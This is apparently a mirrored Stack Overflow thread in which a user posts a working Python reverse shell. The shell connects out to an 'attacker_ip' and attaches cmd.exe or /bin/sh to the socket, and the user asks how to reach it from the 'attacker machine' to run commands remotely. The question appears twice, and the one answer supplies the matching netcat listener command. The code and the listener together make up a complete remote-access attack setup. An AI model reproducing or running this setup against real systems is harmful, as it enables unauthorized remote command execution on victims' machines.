python - Connect to reverse shell - Stack Overflow

admin2025-04-24  2

I have reverse shell code in python:

#!/usr/bin/env python3

import socket, subprocess, os

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker_ip", attacker_port))

if os.name == 'nt':
    subprocess.call(["cmd.exe"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
else:
    subprocess.call(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())

I put IP address and port into the code.

But how to connect to this reverse shell from attacker machine?

EDIT: in the end I need to be able to run commands remotely.

I have reverse shell code in python:

#!/usr/bin/env python3

import socket, subprocess, os

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker_ip", attacker_port))

if os.name == 'nt':
    subprocess.call(["cmd.exe"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
else:
    subprocess.call(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())

I put IP address and port into the code.

But how to connect to this reverse shell from attacker machine?

EDIT: in the end I need to be able to run commands remotely.

Share Improve this question edited Jan 19 at 22:11 pbies asked Jan 17 at 22:24 pbiespbies 75214 silver badges30 bronze badges
Add a comment  | 

1 Answer 1

Reset to default 1

Seems like it is very easy in bash:

#!/usr/bin/env bash
nc -lvnp port_number
转载请注明原文地址:http://anycun.com/QandA/1745454058a90655.html